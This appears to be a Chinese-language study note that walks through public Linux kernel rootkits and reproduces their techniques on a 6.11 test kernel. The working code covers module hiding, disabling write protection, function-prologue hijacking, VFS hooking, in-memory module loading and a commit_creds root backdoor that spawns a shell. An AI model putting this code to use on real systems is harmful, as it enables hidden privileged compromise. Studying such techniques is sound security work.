# kernel rookit 案例閱讀
contributed by < `rota1001` >
以下有些使用與上面重複的手法就不再提及了
## 參考資料
https://github.com/milabs/awesome-linux-rootkits
https://richardweiyang-2.gitbook.io/kernel-exploring
## 實驗環境
若未提及則為以下環境:
```
$ uname -a
Linux rota1001 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
另外,在測試階段會使用用 buildroot 編譯出來的 linux 6.11.0 作業系統。
原本是這樣,但是我後來發現我的核心映像檔是可以在以下路徑找到:
```
/boot/vmlinuz-`uname-r`
```
於是可以直接用 qemu 跑起來:
```
buildroot login: root
# uname -r
6.11.0-25-generic
# uname -a
Linux buildroot 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apx
```
## caraxes
> https://github.com/ait-aecid/caraxes
這個專案做的是在核心中去 hook `sys_getdents64` 來隱藏檔案。
### ftrace hooking
> [using-ftrace-to-hook-to-functions](https://www.kernel.org/doc/html/v6.11/trace/ftrace-uses.html#using-ftrace-to-hook-to-functions)
註冊一個 callback function,在執行某個函式之前去修改暫存器的值,以達到 hook 函式的效果,這個方法不需要去改 syscall table,所以不需要去寫 cr0。
```cpp
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
...
err = register_ftrace_function(&hook->ops);
```
首先會用 `ftrace_set_filter_ip` 篩選出哪些函數要被 hook,然後用 `register_ftrace_function` 去註冊。
這個 `ops` 是一個 `ftrace_ops` 結構體,去設定被 hook 的函式被呼叫的時候要呼叫哪個 callback function,然後設定 `flags`,這些 `flags` 有以下意義:
- `FTRACE_OPS_FL_SAVE_REGS`:讓 callback function 可以讀寫暫存器
- `FTRACE_OPS_FL_RECURSION`:讓 callback function 中不會遞迴觸發 callback function
- `FTRACE_OPS_FL_IPMODIFY`:可以修改 ip(就是 program counter)
callback function 是以下這個形狀:
```cpp
void callback_func(unsigned long ip, unsigned long parent_ip,
struct ftrace_ops *op, struct pt_regs *regs);
```
其中 `parent_ip` 是這個函式被從哪裡呼叫的,可以用這個來判斷是不是在這個核心模組被呼叫的:
```cpp
if (!within_module(parent_ip, THIS_MODULE))
regs->ip = (unsigned long)hook->function;
```
### hook_sys_getdents64
如何去隱藏檔案呢?一個 `linux_dirent` 對應到的是一個檔案,裡面有一個元素是 `d_reclen` 代表這個檔案的長度。在走訪一個目錄下所有檔案的時候會用這個數字來找到下一個檔案,所以只要去修改上一個檔案的 `d_reclen` 就能讓使用者找不到這個檔案(是在回傳給使用者的地方做修改,而不是真的在硬碟上做修改),如果這個檔案在最前面的話,就會把後面所有的檔案做前移。
### 隱藏核心模組
就是把內嵌在這個核心模組結構體的 `list_head` 從 `module_list` 裡面去除掉。至於 `show` 的話就是把它重新加回來。
```cpp
struct list_head *prev_module = NULL;
void hide_module(void) {
if (!prev_module) {
prev_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
}
void show_module(void) {
if (prev_module) {
list_add(&THIS_MODULE->list, prev_module);
prev_module = NULL;
}
}
```
這裡用 VFS 界面來做實驗:
```cpp
ssize_t test_read(struct file *file, char __user *buf, size_t, loff_t *off) {
hide_module();
return 0;
}
ssize_t test_write(struct file *file, const char __user *buf, size_t len, loff_t *off) {
show_module();
return len;
}
```
一開始掛載之後,是看得到核心模組的:
```
$ lsmod | grep wp
wp 20480 0
```
然後對它進行 `read` 之後,會發現看不到了:
```
$ cat /dev/test
$ lsmod | grep wp
$
```
再對它進行 `write` 之後它又出現了:
```
$ echo "yee" > /dev/test
$ lsmod | grep wp
wp 20480 0
```
## rooty
> https://github.com/jermeyyy/rooty
### hijack
這裡拿來 hook 函式的方式不是去改 syscall table,而是直接改機器碼。
```cpp
memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE);
*(unsigned long *)&n_code[1] = (unsigned long)new;
```
上面的 `n_code` 是會被寫入函數開頭的位置的,去進行反組譯會發現:
```
0: 68 00 00 00 00 push 0x0
5: c3 ret
```
它其實是把函式指標 push 進去堆疊中,再 ret,所以防寫保護關掉之後在架構正確的情況下是一個很通用的 hook。
以下我在 linux 6.11 成功的把它實作出來。rooty 針對的是 x86 32 位元的架構,而我則是在 64 位元上,再加上新版本有其他分頁機制,所以要稍做修改。
#### 關閉防寫保護
要寫 shellcode 的話必須關掉防寫保護,在 linux 5.3 之後需要自己去寫 cr0,然而我跟著 lkmpg 去做之後發現它會出錯,於是找到了這個 [patch](https://lore.kernel.org/all/20211126123446.32324-59-andrew.cooper3@citrix.com/),在清除 cr0 的 WP 之前要先清掉 cr4 的 CET,所以我寫了以下幾個函式:
```cpp
static unsigned long cr4;
static void init_cr4(void)
{
asm volatile("mov %%cr4,%0": "=r"(cr4): : );
}
static void disable_wp(void)
{
unsigned long cr0;
cr0 = read_cr0();
if (cr4 & X86_CR4_CET)
asm volatile("mov %0,%%cr4" : :"r"(cr4 & ~X86_CR4_CET): "memory");
asm volatile("mov %0,%%cr0" : : "r"(cr0 & ~X86_CR0_WP) : "memory");
}
static void enable_wp(void)
{
unsigned long cr0;
cr0 = read_cr0();
asm volatile("mov %0,%%cr0" : : "r"(cr0 | X86_CR0_WP) : "memory");
if (cr4 & X86_CR4_CET)
asm volatile("mov %0,%%cr4" : :"r"(cr4): "memory");
}
```
首先初始化 `cr4`,然後用 `disable_wp` 和 `enable_wp` 把需要關閉防寫保護的操作包住,這樣就能成功關掉防寫保護。
#### 寫 shellcode
首先用 pwntools 去看一下 x86 要怎麼做到一樣的事情:
```python
from pwn import *
code = asm("""
movabs rax, 0x0807060504030201;
push rax;
ret ;
""",arch="amd64")
print(bytes(code))
# b'H\xb8\x01\x02\x03\x04\x05\x06\x07\x08P\xc3'
```
所以我們只要在 `0102030405060708` 的部份填上地址就好,於是修改成這樣的實作:
```cpp
memcpy(n_code, "H\xb8\x00\x00\x00\x00\x00\x00\x00\x00P\xc3", HIJACK_SIZE);
*(unsigned long *)&n_code[2] = (unsigned long)new;
memcpy(o_code, target, HIJACK_SIZE);
printk("org_target: %lx\n", *(unsigned long *)target);
disable_wp();
memcpy(target, n_code, HIJACK_SIZE);
enable_wp();
```
#### demo
我建了兩個函式 `A`、`B`:
```cpp
void A(int x)
{
printk("funcA: x = %x\n", x);
}
void B(int x)
{
printk("funcB: x = %x\n", x);
}
```
並且在 `hello_init` 裡去做 hook,然後呼叫 `A` 函式:
```cpp
static int __init hello_init(void)
{
init_cr4();
hook_start(A, B);
A(13);
return 0;
}
```
掛載之後,成功的呼叫了 `B` 函式:
```
[ 2440.989418] funcB: x = d
```
### find syscall table from idt table
這個作法我想現在已經不適用了,原因是因為現在的系統呼叫已經不用 `sys_call_table` 了。這個方法首先去找 idt table,其中第 0x80 項放的是 syscall handler 的相關資訊,下面是 32 位元的實作,我在 `asm/desc_defs.h` 中找到一個 `gate_offset` 函數可以把函數地址求出來,32 位元和 64 位元都適用。接下來,它去尋找機器碼中有沒有 `\xff\x14\x85` 這個字串,下面去看一下這個字串的意義。
```cpp
unsigned long *find_sys_call_table ( void )
{
char **p;
unsigned long sct_off = 0;
unsigned char code[255];
asm("sidt %0":"=m" (idtr));
memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
sct_off = (idt.off2 << 16) | idt.off1;
memcpy(code, (void *)sct_off, sizeof(code));
p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);
if ( p )
return *(unsigned long **)((char *)p + 3);
else
return NULL;
}
```
我們使用 `pwntools` 去反組譯一下:
```python
from pwn import *
print(disasm(b"\xff\x14\x85\x01\x02\x03\x04", arch="amd64"))
# 0: ff 14 85 01 02 03 04 call QWORD PTR [rax*4+0x4030201]
```
這看起來就是一個陣列的讀取,合理猜測這裡在讀 syscall table,所以可以直接把地址讀出來。
### 提權後門
使用 `commit_cred` 可以去改變權限,我這裡寫了一個核心模組,透過 character device 去進行提權:
```cpp
ssize_t wp_read(struct file *file, char __user *buf, size_t, loff_t *off) {
struct cred *new_cred = prepare_creds();
if (!new_cred)
return -ENOMEM;
new_cred->uid.val = 0;
new_cred->gid.val = 0;
new_cred->euid.val = 0;
new_cred->egid.val = 0;
new_cred->fsuid.val = 0;
new_cred->fsgid.val = 0;
new_cred->suid.val = 0;
new_cred->sgid.val = 0;
commit_creds(new_cred);
return 0;
}
```
然後在使用者空間執行這樣的程式:
```cpp
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
printf("%d\n", getuid());
int fd = open("/dev/wp", O_RDONLY);
int n = read(fd, NULL, NULL);
printf("%d\n", getuid());
execve("/bin/sh", 0, 0);
}
```
然後就拿到 root 了:
```cpp
└─[$] <> ./user
1000
0
# whoami
root
```
### hijack vfs with path
這個方法是使用 `flip_open` 去取得特定路徑的檔案結構體,並且劫持其中的 VFS 界面,這裡做個簡單的復現。未方便起見,我先把創建 character device 的方式寫成這樣的函式:
```cpp
int create_dev(char *name, int *pmajor, struct class **pcls, struct file_operations *ops)
```
首先我創建了兩個 `read` 函式,並且讓受害者的 `read` 函式一開始是 `victim_read`:
```cpp
ssize_t victim_read(struct file *file, char __user *buf, size_t, loff_t *off) {
printk(KERN_ALERT "victim\n");
return 0;
}
ssize_t evil_read(struct file *file, char __user *buf, size_t, loff_t *off) {
printk(KERN_ALERT "evil\n");
return 0;
}
static struct file_operations victim_ops = {
.read = victim_read
};
```
原本 `rooty` 專案裡面是去劫持 `readdir`,這只有在比較舊的版本裡有(我大致看 4.* 就修掉了),現在 `file_operations` 裡已經沒有這個操作了,於是這裡我去劫持 `read`。
```cpp
unsigned long get_vfs_read(char *path) {
void *ret;
struct file *filep;
if ( IS_ERR(filep = filp_open(path, O_RDONLY, 0)))
return PTR_ERR(filep);
ret = filep->f_op->read;
filp_close(filep, 0);
return ret;
}
```
然後,我創建叫做 `victim` 的 character device,獲取他的 `read` 函式,並且進行 hook:
```cpp!
static int __init hello_init(void)
{
init_cr4();
int ret = create_dev(VICTIM, &victim_major, &victim_cls, &victim_ops);
if (ret < 0)
return ret;
unsigned long victim_read_pos = get_vfs_read("/dev/" VICTIM);
if (victim_read_pos < 0) {
destroy_dev(VICTIM, victim_major, victim_cls);
return victim_read_pos;
}
printk("victim_read_pos: %lx\n", victim_read_pos);
hook_start(victim_read_pos, evil_read);
return 0;
}
```
#### demo
掛載核心模組之後,進行 `cat /dev/victim`,然後用 `dmesg` 看看:
```
[ 326.094116] device /dev/victim is created
[ 326.094126] victim_read_pos: ffffffffc22d8b00
[ 388.945643] evil
```
可以發現 `read` 被成功 hook 了。
### keylogger
`register_keyboard_notifier` 可以去註冊一個鍵盤事件的 callback function,用他來進行按鍵側錄。
## krf
> https://github.com/trailofbits/krf
這個專案在做 [fault injection](https://en.wikipedia.org/wiki/Fault_injection),也就是通過讓系統呼叫機率性回傳錯誤結果來測試軟體,它用的手法和上面提到的差不多。使用 kprobe 去找到 `kallsyms_lookup_name`,並且用它去找到 `sys_call_table`,hook 的方式是去修改 `sys_call_table`,並且使用 VFS 界面去做控制。我想這個方法同樣現在不適用了(因為是改 `sys_call_table`),不過可以用 ftrace hook 或是修改機器碼做到同樣事情。
## Reptile
> https://github.com/f0rb1dd3n/Reptile
### hook
他的 hook 方式是寫機器碼,不一樣的地方是它可以跳回去。要完成這個功能就必須要另外分配一段可執行的區域,[這裡](https://github.com/f0rb1dd3n/Reptile/blob/master/kernel/khook/engine.c#L132)使用 `set_memroy_x` 來設定:
```cpp
set_memory_x = khook_lookup_name("set_memory_x");
if (set_memory_x) {
int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)khook_stub_tbl, numpages);
}
```
### persistence
將啟動腳本放到 `/etc/init.d`,並請使用 `update-rc.d` 去做安裝。
### 動態加載核心模組
在 [`kmatryoshka.c`](https://github.com/f0rb1dd3n/Reptile/blob/master/kernel/kmatryoshka/kmatryoshka.c#L56) 中,它先把一段數據解密之後,使用 `sys_init_module` 去加載核心模組。
這裡根據 [linux_kernel_hacking](https://github.com/xcellerator/linux_kernel_hacking/blob/15304817e912a526ce57336011a1cc71aea953b2/2_MemoryLoading/2.0_no_arguments/load.c) 去使用 `init_module` 加載核心模組:
使用以下命令可以將核心模組輸出成二進制資料:
```
$ xxd -i wp.ko
unsigned char wp_ko[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0xff, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00,
...
};
unsigned int wp_ko_len = 396496;
```
於是另外寫一個 `user.c` 來加載核心模組:
```cpp
#include <linux/module.h>
#include <syscall.h>
#include <stdio.h>
const char args[] = "\0";
int main() {
init_module(wp_ko, wp_ko_len, args);
}
```
然後在 `Makefile` 裡面將 `wp.ko` 行程的二進制資料陣列與 `user.c` 的程式碼一起編譯:
```
user: module
xxd -i wp.ko >> tmp.c
cat user.c >> tmp.c
gcc tmp.c -o user
rm tmp.c
```
然後就可以執行 `./user`,並且看到核心模組成功被掛載:
```
$ sudo ./user
$ sudo lsmod | grep wp
wp 16384 0
```
## puszek-rootkit
> https://github.com/Eterna1/puszek-rootkit
它很酷的點是它寫唯讀區域的方式。
### 修改 pte 讀寫權限
它是得到特定地址的 pte,把它設成可讀寫的,在較新的核心版本也適用:
```cpp
//set a page writeable
int make_rw(unsigned long address)
{
unsigned int level;
pte_t *pte = lookup_address(address, &level);
pte->pte |= _PAGE_RW;
return 0;
}
//set a page read only
int make_ro(unsigned long address)
{
unsigned int level;
pte_t *pte = lookup_address(address, &level);
pte->pte = pte->pte & ~_PAGE_RW;
return 0;
}
```
我用這個去改寫我的 `hook_start` 函式:
```diff
void hook_start(void *target, void *new)
{
...
+ make_rw(target);
- disable_wp();
memcpy(target, n_code, HIJACK_SIZE);
+ make_ro(target);
- enable_wp();
...
}
```
去做上面做的實驗,發現成功的 hook 了:
```
[126084.453713] pte: ffff9e577200f6c0
[126084.453744] funcB: x = c
[126084.453746] hello
```